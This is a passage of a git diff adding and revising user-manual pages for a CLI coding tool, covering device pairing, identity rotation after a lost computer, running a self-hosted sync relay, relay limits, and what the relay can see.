like any other and +arrives read-only. Two paths that are one file (a hard link) arrive as one file again; where +the disk refuses links they arrive as two files with the same bytes. + +## Tasks that had not landed when a chat moved — does my task branch come with me, working copy, uncommitted task edits, unmerged task branch, kept branch, worktree + +A task works in a +copy of your repository on its own branch. When the chat moves, each copy still at work comes +along: its branch and commits arrive with the project, and the files the task had changed but +not yet committed (edited, added, and the ones it deleted) are carried beside them and laid back +over a fresh copy on the same branch, in this machine's own folder for that chat. Home says +`the working copy of a task came along: `, or `working copies of tasks came along: +, ` for several. A task that has finished has no copy, but the branch it kept is put back in your project on this machine at the same commit, so it does come. +What the repository's own `.gitignore` names (build output, a `.env`) and any file that looks +like it holds a secret stay behind, and so does a task's own installed `node_modules`, which the +card in "What a moved chat left behind" lists as `trees//…`. Copies the other machine registered in the repository are +forgotten here, so `git worktree list` shows only what this machine has. If a copy cannot be set +up again (say its branch is checked out somewhere else), the sentence `a task's working copy +could not be set up again here` names why, and the task's files are still in its folder under +the chat's `trees` folder. + +## Discard the turns of a branch — "2 turns from studio", merge / discard, archive a branch + +A chat that was moved to another machine while another machine still held unsent turns leaves those turns +as a branch. Press enter on its row to be asked **What should happen to these turns?** and +answer `discard` (or `merge`, where it is offered), then enter; the cursor starts on `leave +them`. **Discard archives** the branch: it leaves this list and is not deleted. **Merge is +not offered on this build**: nothing here can merge a branch yet, so the row says +` turns from : discard` and the card has only discard and leave them. Where a +build can merge, the row says ` turns from : merge / discard`. If the other +machines cannot be reached, enter says `other machines unreachable` and does nothing. + ## Why does home show a session id for an untitled chat, untitled conversation, new conversation **A conversation nothing has named yet reads `new conversation`** on home's sessions diff --git a/internal/manual/chat/lock-out-a-lost-computer.md b/internal/manual/chat/lock-out-a-lost-computer.md new file mode 100644 index 0000000000..ee2ed3e244 --- /dev/null +++ b/internal/manual/chat/lock-out-a-lost-computer.md @@ -0,0 +1,96 @@ +# Locking out a lost computer for good + +## A computer was stolen and I want it shut for good — codeaf identity rotate gives the computers you keep a replacement identity + +Stopping a computer with `codeaf devices revoke ` cuts it off from the relay. It does not undo what it holds. That computer has your whole identity. It can read everything it already has, and it can make itself a new device. + +`codeaf identity rotate` is the real fix. It makes a replacement identity and moves your chats and your saved keys to it. The old identity is shut. The lost computer holds the old one, so it can read nothing of what you do from then on. + +Run it on a computer you keep, as soon as you know a computer is lost: + +``` +codeaf identity rotate +``` + +It is hidden from the help text and, like the other `codeaf identity` verbs, needs no setting; only `CODEAF_CELLS=0` stops it. It needs a relay. With sync off it says `a rotation needs a relay`. + +``` +usage: codeaf identity rotate [--grace 7d] [--yes] [--abandon] +``` + +## What a rotation does — the steps, in order + +1. It tells you the cost first, and asks. It says how many chats you have, how many are not on this computer, how many megabytes go up and about how long that takes. Answer `n`, or press ctrl+c, and nothing has changed. +2. It fetches the chats this computer does not hold yet. This can take a long time for big chats. You can still cancel. +3. It makes the new identity and writes it down on this computer, before it sends anything. +4. It shuts the old identity on the relay. Nobody can write to it any more, this computer included. Your other computers show that your chats are moving, and wait. +5. It seals every chat and your saved keys again under the new keys and puts them on the relay under the new identity. +6. It checks that the relay has everything. +7. This computer switches to the new identity. This is the step after which there is no way back. +8. It asks the relay to delete the old identity after a grace period. The default is 7 days. Use `--grace` to change it: the relay takes 1 hour to 30 days. + +When it is done it says: + +``` +rotated. your chats now belong to id_… (was id_…). +other computers: run /pair here, then `codeaf pair ` there, for each one. +the old copy on the relay is read-only and is deleted on 2026-10-08. +a computer you lost still holds everything it had: your chats up to now and every secret in your vault. +change these at their providers: OPENROUTER_API_KEY +``` + +If the command stops half way, because the network dropped or the computer went to sleep, run it again. It finds what it had done and finishes. It never makes a second new identity. While a rotation is unfinished, the computer does not sync, and says `a rotation is unfinished on this computer; run codeaf identity rotate to finish it`. + +To stop a rotation before step 7, run `codeaf identity rotate --abandon`. The old identity opens again and nothing has changed. After step 7 the only way is forward: it says `already switched to the new identity`. + +If the computer that started the rotation is lost too, run `codeaf identity rotate --abandon` on another computer that still has the old identity. It opens the old identity again. + +## What a lost computer still keeps — be plain about it + +A rotation does not reach into the lost computer. **It keeps everything it already downloaded:** every chat it has, every saved key in its vault, and the old copy of your chats on the relay until the relay deletes it, after the grace period. Copies of that old data that anyone kept, such as a backup, stay readable for ever, because the old keys open them. + +After a rotation the lost computer cannot sync any more, cannot write to your chats, and cannot read anything you do from then on. + +**Your provider keys are not changed.** An OpenRouter key or an Anthropic key is owned by the provider, not by codeaf. The lost computer still has the keys that were in your vault. Go to each provider and make a new key. The card at the end lists the names of the keys, never the values. + +Remote access is a different door. A machine you let in with `codeaf serve` is not changed by a rotation. `codeaf devices` still lists it. Stop it there with `codeaf devices revoke `. + +## Pair your other computers again — each one follows the replacement + +After a rotation, each computer you keep is still on the old identity. It stops syncing, and says once: `your chats are moving to a new identity; when that is done, pair this computer again (/pair on the computer that moved them)`. + +When the relay has deleted the old identity, after the grace period, it says: + +``` +your identity was replaced and the relay has deleted the old one; pair this computer again (/pair on a computer that has the new one) +``` + +On the computer you rotated on, type `/pair`. On the other computer, use the code: `codeaf pair `, or `/pair ` in the chat. Compare the three words as always. + +That computer follows the replacement. It does not need `--replace`. It keeps its own chats and its saved keys. + +A computer that was never on your old identity is refused as before, and keeps its own chats. + +## Who rotates first wins — the one risk + +Every computer that holds your identity can run `codeaf identity rotate`, and so can a thief who holds it. The relay cannot tell you apart. The first one to shut the old identity wins. + +So do it at once. If you run it and it says `this identity was already rotated; the new one is on the device that did it`, someone else got there first. The new identity is on that computer, not on yours. + +If a rotation of the identity is already under way and this computer has no record of it, it says: + +``` +a rotation of this identity is already under way; if it is yours and was cut off, run codeaf identity rotate --abandon, otherwise wait for the computer that started it +``` + +A relay that does not know how to do this says `this relay cannot replace an identity: it is too old for that`. Nothing has been fetched or changed when you read either sentence. + +A way to prove you are the owner with a written recovery phrase is not built. + +## What it costs — every chat goes up again + +A rotation uploads everything your chats hold, once, because the new identity starts empty. The plan it shows before you answer gives the number. A chat of 200 MB goes up as 200 MB. The relay charges little for it: a few cents for the biggest chats on a hosted relay. The time is your network. + +While the old identity is kept for the grace period, the relay holds both copies. + +Each computer you pair again sends what it has for a chat the first time it works on it, because it starts with an empty list of what the relay holds. diff --git a/internal/manual/chat/losing-every-device.md b/internal/manual/chat/losing-every-device.md new file mode 100644 index 0000000000..70f643bd7b --- /dev/null +++ b/internal/manual/chat/losing-every-device.md @@ -0,0 +1,18 @@ +# If I lose every computer + +## I lost all my devices — can I get my chats back + +**No. There is no recovery.** Your chats are sealed under keys that only your computers hold. The relay has only ciphertext. Nobody, including the operator of the relay, can open it or hand you a key. There is no account, no email link and no reset. + +If you still have one computer that holds your identity, pair a new one from it: `/pair`, or see "I got a new laptop". If you have **none**, the chats on the relay cannot be read by anybody. They stay there sealed until the relay is cleared. + +Only two things can save you before that day: + +- **An identity file.** `codeaf identity export` writes your identity under a passphrase, and `codeaf identity import` reads it on a new computer. Keep the file and the passphrase in a safe place, apart from the computer. +- **One computer that you keep.** A second computer that is paired is a backup. + +## Can I change my identity — identity rotate + +**`codeaf identity rotate` is not built.** There is no way yet to make a new identity for all your computers. So revoking a stolen or lost computer cuts it off from the relay only. It does not make your chats unreadable to the person who has that computer. See "Devices and revoking" on the pairing page. + +Until it is built, treat every chat on a lost computer as exposed, and do not pair new computers you do not trust. diff --git a/internal/manual/chat/making-pictures-audio-and-video.md b/internal/manual/chat/making-pictures-audio-and-video.md index cf7bc15702..a4e602bcfb 100644 --- a/internal/manual/chat/making-pictures-audio-and-video.md +++ b/internal/manual/chat/making-pictures-audio-and-video.md @@ -594,13 +594,19 @@ In one of three places, decided by whose folder the workspace is: - If the session **owns** its workspace (codeaf made it), files land straight in it, like anything else the work produced. -- If the workspace is **your repository**, they land in the session's own - `artifacts/` folder instead, so nothing of codeaf's is dropped in your project. +- If the workspace is **your repository**, they land in the conversation's own + artifacts folder instead, so nothing of codeaf's is dropped in your project. + That folder is part of the conversation itself, so the files travel with it: take + the conversation up on another machine and the pictures, audio and video it made + are there too, listed in `/files` on that machine. A conversation made before this + is brought in the first time you open it. - With no session folder at all, they land under `/.codeaf/images`, `/audio`, `/music` or `/video`. Either way every generated file gets a row in the deliverables index, so -`/files` finds it again later by name and date, from any directory. Give the +`/files` finds it again later by name and date, from any directory. A conversation +keeps its own list of the files it made, and each machine builds its index from +those lists, so a conversation you take to another machine shows its files there. Give the tool an explicit `path` and that decision is yours instead. **A saved program lands its files in the same three places**, and they get the diff --git a/internal/manual/chat/models-and-cost.md b/internal/manual/chat/models-and-cost.md index a695887562..71d1b46acf 100644 --- a/internal/manual/chat/models-and-cost.md +++ b/internal/manual/chat/models-and-cost.md @@ -1537,6 +1537,18 @@ conversation against **your own server**, which never ends this way while you wa error: nothing came back from the model in 1m30s, three times. a different model may answer — /model, or set models.fallbacks so this can move on its own ``` +**A pin holds.** Write `models.fallbacks` as just the model you pinned and no call ever goes +to any other model: when its reply keeps coming apart — a cut stream, or the model's own +internal markup instead of words — codeaf asks that same model again a bounded number of +times, then ends the turn and says plainly what failed. It does not guess a "nearby" model +for you; the catalog's suggestion is used only when you wrote no fallback list at all. + +The same holds for a model you picked explicitly: a role you pinned in `models.roles` +(the checker, when it gives no answer) or the model you named for a task. If +that model fails, codeaf never moves the work to a model it guessed from the catalog. It +moves only to a fallback you wrote yourself, and with none the work ends on the model you +chose and says what failed. + And when the fallbacks could not finish it either, the sentence says so rather than repeating advice already taken: diff --git a/internal/manual/chat/naming-a-device.md b/internal/manual/chat/naming-a-device.md new file mode 100644 index 0000000000..465db328bb --- /dev/null +++ b/internal/manual/chat/naming-a-device.md @@ -0,0 +1,58 @@ +# Naming a device + +## Why does it show my hostname — the host name is the default until a device is named, and where a name appears + +Every screen that names a device uses one name for it: the home rows (`running on spark`, `spark offline`), `Continue spark's latest chat here?`, the approve screen, `spark is now paired. Your chats can continue there.`, `/devices`, and the line after a move, `Moved from spark in 4s`. A device is called by its host name, the word your operating system already uses for it, until you give it a name. A name is only a label. It is not a key and it signs nothing, and renaming a device changes nothing about what it can reach. + +Because you never named this device, it kept the default. Name it and every other device shows the new name. + +## How do I name a device when it joins — codeaf pair --name + +On the new device, type `codeaf pair`. In a terminal it asks once, with the host name filled in: + +``` +Your other devices will call this computer "spark". Press Enter to keep that, or type another name: +``` + +Press Enter to keep the host name, or type a name and press Enter. To say it without being asked, type `codeaf pair --name "atlas"`. It works with a typed code too: `codeaf pair 42-715-302 --name "atlas"`. The device that approves shows that name when it asks you to approve. + +## How do I rename a device later — codeaf devices rename and the n key + +Type this on the device you mean: + +``` +codeaf devices rename "atlas" +``` + +Or open `/devices`, stay on the row marked `this device`, and press `n`. The name is filled in under the list: + +``` +name this device: atlas▏ +enter save · ctrl+u clear · esc cancel +``` + +Edit it and press enter to save, ctrl+u to clear it, esc to leave it as it was. A device renames itself, so `n` on any other row says `a device renames itself — choose this device's row, or open /devices on the one you mean.` To rename a device, rename it on that device. + +After a rename it says: + +``` +This computer is now called atlas on all your devices. +``` + +Your other devices show the new name the next time they list devices or draw a home row. If the sync service cannot be reached at that moment, the device keeps the name and says: + +``` +This computer is now called atlas. Your other devices will show it after this one next connects. +``` + +You do not type it again. A device that is not paired with anything yet says `This computer is now called atlas.` + +## What can a device name be — length, spaces, control characters and duplicates + +One to 32 characters you can see. Spaces at the start and end are dropped. A name that cannot be used is refused, not cut or repaired, with one of these: + +- `a device name needs at least one visible character` +- `a device name is at most 32 characters` +- `a device name cannot hold control characters or line breaks` + +Two devices may have the same name. `/devices` then adds a short tail, such as `spark #a1b2`, so you can tell them apart. diff --git a/internal/manual/chat/reaching-this-machine-without-ssh.md b/internal/manual/chat/reaching-this-machine-without-ssh.md index fb98ca5eef..21b35d84ae 100644 --- a/internal/manual/chat/reaching-this-machine-without-ssh.md +++ b/internal/manual/chat/reaching-this-machine-without-ssh.md @@ -1,5 +1,20 @@ # Reaching a machine with a pairing code +## Two codes, two grants — remote access and your chats + +You learn one thing: **a code shown on a screen you own, typed on the other computer.** A code can grant two different things. They stay two things, because they are two different powers. + +| | remote access (`codeaf serve`, `codeaf chat --at `) | your chats (`/pair`, `codeaf pair`) | +| --- | --- | --- | +| What the other computer gets | a key to this machine's tools: a hand on that one machine | your identity: your chats, your saved keys and your sync, on every computer you own | +| The code | six digits, shown `715 302`, typed with the name of the machine | a number, then six digits, shown `42-715-302`; the number is the place, so the code carries it | +| This machine must | stay on and stay connected | be there only while you pair | +| Who can undo it | this machine alone, with `codeaf devices revoke `, at once | you, with `codeaf devices revoke `, but it cuts the relay only; see the page *Pairing your chats with a second computer* | + +**One code never gives both.** A code for your chats does not give a shell on any machine. A code for a machine does not give your chats. + +Both codes are good for 10 minutes and take 1 attempt. For both, the two screens show the same three words, and a person answers `y / n` on the machine being opened. The page *Pairing your chats with a second computer* has the chats door. + ## Reaching a machine behind a router or a firewall `--host` needs `ssh ` to already work. When it does not — a home server behind a @@ -10,7 +25,7 @@ name that prints, with a pairing code instead of a key. ``` big-machine$ codeaf serve this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 715 302 (valid 10 minutes) laptop$ codeaf chat --at otter-lamp-42 ``` @@ -23,7 +38,7 @@ firewalls and NAT stop mattering. on, `--at` prints: ``` -no relay is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a relay's address, or reach that machine with --host over ssh +no service address is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a service address, or reach that machine with --host over ssh ``` `--host` works today and is not going anywhere. If you can already reach the machine that @@ -35,14 +50,14 @@ Run it on the machine that owns the work — the one with the files, the API key things you have set up: ``` -codeaf serve [--workspace path] [--relay https://…] +codeaf serve [--workspace path] [--via https://…] ``` It prints, exactly: ``` this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 715 302 (valid 10 minutes) ``` **The name is not chosen, it is derived from that machine's own key.** Two words and two @@ -50,19 +65,19 @@ digits, the same every time, on any relay. You cannot pick a nicer one, and nobo can register under yours while your machine is connected. `--workspace` is the directory a connection works in when it does not name one; empty -means the directory you ran the command in. `--relay` beats the `CODEAF_RELAY` +means the directory you ran the command in. `--via` beats the `CODEAF_RELAY` environment variable. Running it twice on one machine is refused, because there is only one of it: ``` -this machine is already connected to the relay as otter-lamp-42 — there is only one of it, so close the other `codeaf serve` +this machine is already connected to the service as otter-lamp-42 — there is only one of it, so close the other `codeaf serve` ``` With no relay set up at all it says: ``` -no relay is set up on this machine, so there is nowhere to be reachable from — set CODEAF_RELAY to a relay's address, or let people in over ssh with `codeaf chat --host` from their side +no service address is set up on this machine, so there is nowhere to be reachable from — set CODEAF_RELAY to your service address, or let people in over ssh with `codeaf chat --host` from their side ``` Ctrl+c ends it, and the machine gives its name back on the way out: @@ -87,7 +102,23 @@ a paired device is a key to that machine: it opens conversations there, runs wha enter the code shown on otter-lamp-42: ``` -Type `715 302` or `715302` — spaces and dashes are thrown away. Then: +Type `715 302` or `715302` — spaces and dashes are thrown away. Then this device shows three words and waits: + +``` +waiting for approval on otter-lamp-42; it should show: amber fox dune +``` + +The words are the check. The machine shows the same three words and asks the person at its terminal, which is you: + +``` +"laptop" wants to use this machine. Same three words on that screen: amber fox dune? y / n +``` + +**There is no default.** Enter alone does nothing. Answer `y` only if both screens show the same three words. If they differ, answer `n`: somebody else may have used the code. On `n`, or with no answer for 2 minutes, this device says `refused on the other device` and the machine says `a device asked to pair and was not let in`. + +**A machine with nobody at its terminal admits nobody.** When `codeaf serve` does not run in a terminal, there is no person to answer `y / n`, and the answer is no. Run `codeaf serve` in a terminal you watch while you pair. + +On `y`, the device says: ``` paired. this device is now a key to otter-lamp-42. @@ -104,21 +135,22 @@ That second sentence belongs to a device somebody deliberately stopped. A machin cannot write the pairing down does not say it held: it refuses the pairing instead, and what you get is the sentence below for a code that did not work. -**A code is good for 10 minutes and for 5 attempts, whichever runs out first**, and one -successful pairing spends it — the machine shows a fresh one for the next device. A wrong -code says: +**A code is good for 10 minutes and for 1 attempt, whichever runs out first.** Any attempt +spends the code, right or wrong, and the machine shows a fresh one at once — you do not +press a key. A wrong code says: ``` that is not the code shown on otter-lamp-42 — read it again, and note that it is only good for 10 minutes ``` **Guessing a code from outside does not work.** Only the machine that minted it can spend -an attempt against it, and it allows 5 before throwing the code away. A device that turns -up when there is no live code at all is told the same thing a wrong code is told, because -from its side it is the same fact. The machine's own screen is where the difference shows: +an attempt against it, and it allows 1 before throwing the code away. Then a person looks at +three words on two screens. A device that turns up when there is no live code at all is told +the same thing a wrong code is told, because from its side it is the same fact. The machine's +own screen is where the difference shows: ``` -a device tried to pair with the wrong code +someone typed a wrong code, so that code is no longer good a device tried to pair and there was no code to pair with ``` @@ -195,7 +227,8 @@ encrypted between the two ends. otherwise be easy for it. The six digits are exchanged with a password-authenticated key exchange, so a listener — the relay included — learns nothing about the code and cannot grind at it offline. The one way to test a guess is to run a whole attempt against the -machine that minted the code, and that machine allows 5 of them. +machine that minted the code, and that machine allows 1 of them. A person then compares three +words on both screens before anything is let in. After pairing, both ends have written down each other's key. Every later connection is a handshake between those two keys, so a relay that pointed you at the wrong machine gets a @@ -237,26 +270,30 @@ It prints which machine this is, where its key is kept, and the devices it lets this machine is reachable as otter-lamp-42 its key is kept in a file on this machine, readable only by you (~/.codeaf/v3/remote/device.key) -devices paired with this machine +devices that can use this machine laptop paired 3d ago · last here 2h ago desktop paired 12d ago -stop one with `codeaf devices revoke ` — it will need a new code to come back. +remove one with `codeaf devices revoke ` — it will need a new code to come back. ``` -With nothing paired it says -`no devices are paired with this machine.` and how to pair one. A device that has never +If you also paired computers with `/pair`, a second group under the heading `your devices` lists them, and `revoke ` works on both groups. With nothing of either kind it says: + +``` +nothing is paired yet — run `codeaf pair` to add another device, or `codeaf serve` to let a device use this machine. +``` + A device that has never connected shows nothing where its last connection would be, rather than a zero. -To stop one: +To remove one: ``` codeaf devices revoke laptop ``` which answers -`laptop has been stopped — it can no longer open a conversation here, and it will need a new pairing code to come back.` +`laptop was removed — it can no longer open a chat here, and it needs a new pairing code to come back.` A name nothing matches says: @@ -264,7 +301,7 @@ A name nothing matches says: no device called "phone" is paired with this machine — `codeaf devices` lists the ones that are ``` -Two devices with the same name are refused rather than guessed at, and `--all` stops every +Two devices with the same name are refused rather than guessed at, and `--all` removes every device answering to that name: ``` @@ -277,10 +314,10 @@ the name or after it; `codeaf devices revoke --help` prints it. It used to be re it came first, so `codeaf devices revoke laptop --all` was refused with a usage line that did not mention `--all` at all. -Stopping one device with `--all` answers in the ordinary sentence — `laptop has been stopped -— it can no longer open a conversation here, and it will need a new pairing code to come -back.` Stopping several answers `2 devices called laptop have been stopped — each needs a new -pairing code to come back.` +Removing one device with `--all` answers in the ordinary sentence — `laptop was removed — it +can no longer open a chat here, and it needs a new pairing code to come back.` Removing +several answers `2 devices called laptop were removed — each needs a new pairing code to come +back.` **Revoking is always the decision of the machine that owns the work.** There is no way to do it from the device, and no way for a device to remove another one. @@ -317,19 +354,19 @@ There are four different reasons, and each says which one it is, in one sentence **No relay is set up on this machine:** ``` -no relay is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a relay's address, or reach that machine with --host over ssh +no service address is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a service address, or reach that machine with --host over ssh ``` **The relay is set up and not answering:** ``` -the relay at https://relay.example.com cannot be reached from here — check this machine's network, or reach that machine with --host over ssh +the service at https://service.example.com cannot be reached from here — check this machine's network, or reach that machine with --host over ssh ``` **The relay is fine and that machine is not connected to it:** ``` -otter-lamp-42 is not connected to the relay right now — run `codeaf serve` on that machine +otter-lamp-42 is not connected to the service right now — run `codeaf serve` on that machine ``` **This device has never been let in:** @@ -341,7 +378,7 @@ this device is not paired with otter-lamp-42 — run `codeaf serve` on that mach Two more you may meet. A machine that does not answer the handshake at all: `otter-lamp-42 did not answer this device's handshake, so nothing was sent — if that machine was rebuilt it has a new key and this device has to pair with it again`. And a relay that is turning connections away: -`the relay is turning connections away right now — try again in a minute` — it allows +`the service is turning connections away right now — try again in a minute` — it allows 30 connections a minute from one address. **A pairing that says the code was wrong when you are sure it was right** has one other @@ -436,3 +473,16 @@ set up, and no service to depend on. `--at` is for the machine ssh cannot reach. Both open the same surface with the same limits — what does and does not work over a connection is a property of the connection, not of which of these two doors opened it. + +## Running the relay yourself + +The relay is a program, and `codeaf relay --listen :8787` runs it (`relay --listen :8787` +from the separate `relay` binary is the same thing). Left like that it is the blind pipe +this page describes: it forwards the conversation and cannot read it. + +Given `--store ` it also keeps the shared directory and blob store that lets one +person's machines see the same chats: `codeaf relay --listen :8787 --store /var/lib/codeaf`. +Every request must be signed by one of that person's devices, each person's data lives +apart from everyone else's, and a restart keeps who holds each chat. Its log lists the +first characters of an identity id, the kind of request, the status and the byte counts, +never what was sent. Stop it with SIGTERM and requests already under way finish first. diff --git a/internal/manual/chat/relay-hosted-or-your-own.md b/internal/manual/chat/relay-hosted-or-your-own.md new file mode 100644 index 0000000000..9035ced122 --- /dev/null +++ b/internal/manual/chat/relay-hosted-or-your-own.md @@ -0,0 +1,45 @@ +# Hosted relay or your own relay + +## Hosted relay or my own — which one do I use, and where does sync go by default + +A relay is the small service your computers sync through. There are two kinds. Both speak the same wire: the chat cannot tell them apart. + +- **A hosted relay** is run for you on a cloud account. You do nothing to run it. You give the chat its address. +- **Your own relay** is the program `codeaf relay`. You run it on a computer you control. + +Either way the relay sees only ciphertext and the short list on "What can the relay see". + +**Where sync goes by default.** Unset, a computer syncs through codeaf's hosted relay at `https://codeaf.agentfield.ai/fabric`, once this build carries that address. The address lives in one place in the program, `HostedRelayURL`; a build whose value is empty has no default, and then nothing is copied and pairing says `no sync address is set, so there is nowhere to pair through: set CODEAF_SYNC_URL to a sync address, or pass --via
`. Even with a default, a computer that has never been paired sends nothing: see "Is my code sent anywhere before I pair" on the page *Pairing your chats with a second computer*. To use your own relay instead, set `CODEAF_SYNC_URL` as below. Turn sync off with `CODEAF_SYNC_URL=off`. + +## Point codeaf at a relay — CODEAF_SYNC_URL, url or off + +Set `CODEAF_SYNC_URL` in the environment of every computer that shares the chats. + +``` +CODEAF_SYNC_URL=https://relay.example.com codeaf +``` + +- **A web address** like `https://relay.example.com` or `http://host:8787`. Plain `http` is for trying it out inside an ssh tunnel. An address that is not a web address stops with `CODEAF_SYNC_URL is not a web address like http://host:8787`. +- **`off`** turns the relay off. Pairing then says `sync is off (CODEAF_SYNC_URL=off); pairing needs a sync address`. +- **Unset:** a computer that was paired with a named relay uses the relay the pairing saved. Otherwise it uses the hosted default above, if this build has one, and has none if it does not. + +Your own computers must all name the same relay and hold the same identity, or they see different chats. + +## Run my own relay — codeaf relay --listen and --store + +``` +codeaf relay --listen :8787 --store /var/lib/codeaf +``` + +- `--listen` is the address to listen on. The default is `:8787`. +- `--store ` is where the relay keeps the directory and the chunks. **Without `--store` the relay only passes pairing and remote-access traffic. It keeps no chats, and sync does not work through it.** The directory is made if it is not there. +- `--quiet` turns the log off. `--status=false` turns off `GET /status`. +- `--trust-proxy` makes the pairing limits count the address in `X-Forwarded-For`. Use it only behind a proxy that sets that header, and never on a relay that faces the internet. + +Stop it with SIGTERM or ctrl+c: requests under way finish first. **The relay has no TLS of its own.** Put a proxy that ends TLS in front of it if any computer reaches it over a network you do not own. + +There is no Docker image for the relay. The page `docs/relay.md` in the repository says how to run, back up and upgrade it. + +## Who can use my own relay + +**Any caller with a valid signature may make an identity and store on your relay.** The relay has no list of allowed people: an identity is made from a key, and the relay accepts any key. Keep your relay on a private network, a tailnet or behind a proxy that checks who calls. One identity cannot read another's data. diff --git a/internal/manual/chat/relay-limits-and-refusals.md b/internal/manual/chat/relay-limits-and-refusals.md new file mode 100644 index 0000000000..9c3a51be8e --- /dev/null +++ b/internal/manual/chat/relay-limits-and-refusals.md @@ -0,0 +1,37 @@ +# Relay limits and refusals + +## Is there a storage limit on the relay — how much can I sync + +It depends on the relay. + +**A hosted relay has limits.** The hosted relay in this repository sets, for each identity: + +- 5 GiB stored, and 5,000,000 stored objects; +- 5,000 new chunks in a day; +- 1,200 requests a minute for the identity, and 600 for one computer; +- 2 chunks being sent at one moment; +- 16 MiB for one chunk, and 1 MiB for any other message. + +A chunk the relay already holds costs nothing again, so a computer that sends it twice is never refused for that. + +**A relay you run yourself has no limit of its own on an identity.** It stops only when its disk is full. + +## Too many new identities from one network + +The hosted relay lets one network make **200 new identities in a day**. A network is one IPv4 address, or one IPv6 block of /64 (changing the address inside your own block does not make a new network). Computers of an identity that exists are never counted. After 200 the relay answers `429` with the code `too_many_identities` and a `Retry-After` that says how many seconds are left until that network's day ends. A relay you run yourself has no such limit. + +Pairing has limits on both kinds of relay: 10 new codes in an hour for one network, and a relay holds at most 2,000 waiting pairings. The messages are on the pairing page, for example `too many pairings from this network; wait 7 min` and `sync is full right now; try again in a few minutes`. + +## What do I see when the relay says no + +**The chat says one plain sentence for each refusal.** The turns you save always stay on this computer, and they go up when the relay takes them again. What differs is what the chat says and how it tries again: + +- **The relay is full** (`507`, code `full`). The chat says `the relay has no room left (5 GiB), so new turns stay on this computer; free space there and reopen this chat`. The number is the stored-bytes ceiling the relay names in its answer (5 GiB on the hosted relay); when the relay names none, as a relay on its own disk does not, the chat leaves the brackets out: `the relay has no room left, so new turns stay on this computer; free space there and reopen this chat`. It says this at once, and then it stops trying: nothing you do in the chat can make room, so it does not ask the relay again until you reopen the chat. On the hosted relay the daily count of new chunks ends the same way, and it clears by itself the next day. +- **The relay asks this computer to slow down** (`429`, code `rate_limited`). The chat says nothing for the first 3 minutes, because a short burst clears by itself. If the refusals last longer, it says `the relay is asking this computer to slow down; new turns stay here and go up as soon as it allows`. It waits as long as the relay's `Retry-After` says, and never less than its own wait, which doubles after each failure up to 60 seconds. +- **Too many new identities from this network** (`429`, code `too_many_identities`). The chat says `too many new identities from this network today — try again in about 3 hours` at once. The time is the relay's `Retry-After`, rounded up to minutes or hours; when the relay names none, the chat says `this network has started too many new identities today; sync begins when it allows more`. It waits as long as the `Retry-After` says, up to an hour at a time. +- **Another of your computers stopped this one** (`401`, code `revoked`). The chat says `this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back`, and does not try again: only a new pairing brings the computer back. +- **The clock is off** (`401`, code `skew`). The chat says `this computer's clock is off by more than 5 minutes`, once, and tries again at each normal turn of sync. + +Each sentence is said once for as long as the trouble lasts, and again if the relay answers in between and then refuses again. An unreachable relay is not a refusal: the chat says nothing about it and tries again with the doubling wait. + +On your own relay the full case is its disk: free space on the machine that runs it, then reopen the chat. diff --git a/internal/manual/chat/relay-what-it-stores-and-sees.md b/internal/manual/chat/relay-what-it-stores-and-sees.md new file mode 100644 index 0000000000..89297d224b --- /dev/null +++ b/internal/manual/chat/relay-what-it-stores-and-sees.md @@ -0,0 +1,36 @@ +# What the relay stores and what it can see + +## What does the relay store — what is on the relay's disk + +The relay holds two things for each identity, kept apart from every other identity: a **directory** (one record for each chat, one for each of your computers) and a **store** of chat content. + +The content is in the store as **encrypted chunks**. Each chunk is sealed under a key that only your own computers have. The relay cannot open a chunk. It keeps the chunks you send, and your saved keys too: they travel as one more sealed chunk, like a chat. + +Two things in the directory are sealed before they leave your computer: **the title of every chat** and **the name of every computer**. The relay stores them as sealed text and cannot read them. + +There is no account on the relay. No email, no password, no name. Your identity is an id that starts with `id_`, made from your key. + +## What can the relay see — the metadata, my IP address, and what is not hidden from it + +**The relay cannot read:** your messages, your files, the titles of your chats, the names of your computers, your saved keys, the pairing code, the three words. + +**The relay can see, and keeps or logs:** + +- your identity id, and the id of each computer you use (an id, never a name); +- for each chat: its id, how big it is, when it last saved, which computer holds it, and the chat it was split from; +- for each computer: its operating system, processor type, and whether it has a sandbox or a copy-on-write disk; +- for each chunk: its size, and the ids of the parts inside it; +- when you connect, how often, and how much you send; +- the network address each request came from. + +A relay you run yourself logs only the first 8 characters of the identity id, the kind of request, the status and two byte counts. It never logs a body. An operator of a relay you do not run can do more than that; you cannot check it. + +The relay can also delete what it holds, or refuse to serve it. Keep a copy you care about on a computer of your own. + +## Does the relay see my code, my prompts or my files + +No. Turns, tool output and files are sealed on your computer before they are sent. The relay gets ciphertext and sizes. + +Your saved keys are sealed too, as said above. + +What sync does not do: it does not send the files of your working folder. The chat follows you; the files stay on the machine they are on. See "Sync my folder to the other machine" for that. diff --git a/internal/manual/chat/running-from-the-terminal.md b/internal/manual/chat/running-from-the-terminal.md index cf2e839c3f..f9781db4f3 100644 --- a/internal/manual/chat/running-from-the-terminal.md +++ b/internal/manual/chat/running-from-the-terminal.md @@ -193,7 +193,7 @@ hand it work do "" · exec "" · run look at what happened why self · why · notebook · competence · services · logs · models · doctor · manual · version housekeeping connect · disconnect · cache · cache clean · rebuild · wake · - serve · devices · help env + serve · pair · devices · help env plan work by hand plan new "" · plan show · plan revise "…" · plan run ``` @@ -209,6 +209,167 @@ by hand: **`codeaf engine`** is the far half of `chat --host`, started by ssh, a **`codeaf tick`** is the one bounded pass the background timer runs every five minutes. Neither draws anything or reads a key. +A third, **`codeaf cell`**, is typed by hand but is not in the help text: it works +unless `CODEAF_CELLS=0` turns cells off. Its verbs are described under "The cell verbs" below. + +## codeaf pair — show a code, or use one, from the terminal + +**`codeaf pair`** on a new computer asks to join your devices and shows a link to approve from a computer that is already in (`codeaf pair approve `); **`codeaf pair --code`** shows a code that gives your chats to another computer. **`codeaf pair `** uses a code that another computer showed, for example `codeaf pair 42-715-302`. `--via ` names the sync address to go through, and `--replace` lets this computer drop chats of its own for the ones it is given. The page *Pairing your chats with a second computer* has the whole story. + +## The cell verbs — list a cell's turns and 